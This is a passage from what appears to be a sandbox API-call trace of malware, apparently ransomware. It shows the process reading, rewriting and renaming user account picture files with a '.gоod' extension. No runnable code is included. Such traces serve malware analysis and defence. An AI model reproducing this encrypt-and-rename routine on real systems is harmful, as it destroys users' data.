lpNumberOfBytesWritten=0x1f9ee548*=0x970, lpOverlapped=0x0) returned 1 [0090.427] CloseHandle (hObject=0x79c) returned 1 [0090.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", lpFilePart=0x0) returned 0x3b [0090.427] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.gоod", lpFilePart=0x0) returned 0x40 [0090.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0090.427] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x321b9e15, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x970)) returned 1 [0090.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0090.427] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png.gоod")) returned 1 [0090.545] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", lpFilePart=0x0) returned 0x3a [0090.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0090.545] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), fInfoLevelId=0x0, lpFileInformation=0x33222a0 | out: lpFileInformation=0x33222a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19f)) returned 1 [0090.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0090.546] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", lpFilePart=0x0) returned 0x3a [0090.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0090.546] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0090.546] GetFileType (hFile=0x768) returned 0x1 [0090.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0090.546] GetFileType (hFile=0x768) returned 0x1 [0090.546] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x19f [0090.546] ReadFile (in: hFile=0x768, lpBuffer=0x3322760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3322760*, lpNumberOfBytesRead=0x1f9ee638*=0x19f, lpOverlapped=0x0) returned 1 [0090.547] CloseHandle (hObject=0x768) returned 1 [0090.580] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", lpFilePart=0x0) returned 0x3a [0090.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0090.580] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0090.581] GetFileType (hFile=0x768) returned 0x1 [0090.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0090.581] GetFileType (hFile=0x768) returned 0x1 [0090.581] WriteFile (in: hFile=0x768, lpBuffer=0x339aae8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x339aae8*, lpNumberOfBytesWritten=0x1f9ee548*=0x1a0, lpOverlapped=0x0) returned 1 [0090.582] CloseHandle (hObject=0x768) returned 1 [0090.582] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", lpFilePart=0x0) returned 0x3a [0090.582] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.gоod", lpFilePart=0x0) returned 0x3f [0090.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0090.582] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32337506, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0090.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0090.582] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png.gоod")) returned 1 [0090.583] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", lpFilePart=0x0) returned 0x3a [0090.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0090.583] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), fInfoLevelId=0x0, lpFileInformation=0x339bd30 | out: lpFileInformation=0x339bd30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b1)) returned 1 [0090.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0090.583] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", lpFilePart=0x0) returned 0x3a [0090.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0090.583] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0090.583] GetFileType (hFile=0x768) returned 0x1 [0090.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0090.583] GetFileType (hFile=0x768) returned 0x1 [0090.583] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x1b1 [0090.584] ReadFile (in: hFile=0x768, lpBuffer=0x339c150, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x339c150*, lpNumberOfBytesRead=0x1f9ee638*=0x1b1, lpOverlapped=0x0) returned 1 [0091.024] CloseHandle (hObject=0x768) returned 1 [0091.101] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", lpFilePart=0x0) returned 0x3a [0091.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0091.101] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.102] GetFileType (hFile=0x7b4) returned 0x1 [0091.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0091.102] GetFileType (hFile=0x7b4) returned 0x1 [0091.102] WriteFile (in: hFile=0x7b4, lpBuffer=0x338e6f8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x338e6f8*, lpNumberOfBytesWritten=0x1f9ee548*=0x1c0, lpOverlapped=0x0) returned 1 [0091.103] CloseHandle (hObject=0x7b4) returned 1 [0091.103] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", lpFilePart=0x0) returned 0x3a [0091.103] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.gоod", lpFilePart=0x0) returned 0x3f [0091.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0091.103] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3284873e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0091.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0091.103] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png.gоod")) returned 1 [0091.104] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", lpFilePart=0x0) returned 0x3a [0091.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0091.104] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), fInfoLevelId=0x0, lpFileInformation=0x338f940 | out: lpFileInformation=0x338f940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f5)) returned 1 [0091.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0091.105] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", lpFilePart=0x0) returned 0x3a [0091.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0091.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.105] GetFileType (hFile=0x7b4) returned 0x1 [0091.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0091.105] GetFileType (hFile=0x7b4) returned 0x1 [0091.105] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x1f5 [0091.105] ReadFile (in: hFile=0x7b4, lpBuffer=0x338fda0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x338fda0*, lpNumberOfBytesRead=0x1f9ee638*=0x1f5, lpOverlapped=0x0) returned 1 [0091.106] CloseHandle (hObject=0x7b4) returned 1 [0091.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", lpFilePart=0x0) returned 0x3a [0091.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0091.461] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.462] GetFileType (hFile=0x7b4) returned 0x1 [0091.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0091.462] GetFileType (hFile=0x7b4) returned 0x1 [0091.462] WriteFile (in: hFile=0x7b4, lpBuffer=0x3741718*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3741718*, lpNumberOfBytesWritten=0x1f9ee548*=0x200, lpOverlapped=0x0) returned 1 [0091.463] CloseHandle (hObject=0x7b4) returned 1 [0091.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", lpFilePart=0x0) returned 0x3a [0091.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.gоod", lpFilePart=0x0) returned 0x3f [0091.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0091.463] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x32bb5dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x200)) returned 1 [0091.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0091.464] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png.gоod")) returned 1 [0091.464] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0091.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0091.464] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3742960 | out: lpFileInformation=0x3742960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038)) returned 1 [0091.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0091.465] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0091.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0091.465] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.465] GetFileType (hFile=0x7b4) returned 0x1 [0091.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0091.465] GetFileType (hFile=0x7b4) returned 0x1 [0091.465] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0091.465] ReadFile (in: hFile=0x7b4, lpBuffer=0x3742d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3742d28*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0091.518] CloseHandle (hObject=0x7b4) returned 1 [0091.733] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0091.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0091.733] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0091.735] GetFileType (hFile=0x7b4) returned 0x1 [0091.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0091.735] GetFileType (hFile=0x7b4) returned 0x1 [0091.735] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x93038 [0091.736] WriteFile (in: hFile=0x7b4, lpBuffer=0x3546130*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3546130*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0092.245] CloseHandle (hObject=0x7b4) returned 1 [0092.247] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0092.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.247] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0092.248] GetFileType (hFile=0x7b4) returned 0x1 [0092.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.248] GetFileType (hFile=0x7b4) returned 0x1 [0092.248] ReadFile (in: hFile=0x7b4, lpBuffer=0x339ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x339ec58*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0092.318] CloseHandle (hObject=0x7b4) returned 1 [0092.318] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0092.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0092.318] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0092.318] GetFileType (hFile=0x7b4) returned 0x1 [0092.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0092.318] GetFileType (hFile=0x7b4) returned 0x1 [0092.318] WriteFile (in: hFile=0x7b4, lpBuffer=0x339b718*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x339b718*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0092.409] CloseHandle (hObject=0x7b4) returned 1 [0092.409] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", lpFilePart=0x0) returned 0x37 [0092.409] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.gоod", lpFilePart=0x0) returned 0x3c [0092.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0092.410] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x334a6a24, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x93048)) returned 1 [0092.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0092.410] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.gоod" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.gоod")) returned 1 [0092.410] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png", lpFilePart=0x0) returned 0x37 [0092.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0092.411] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.png"), fInfoLevelId=0x0, lpFileInformation=0x3498ab0 | out: lpFileInformation=0x3498ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, 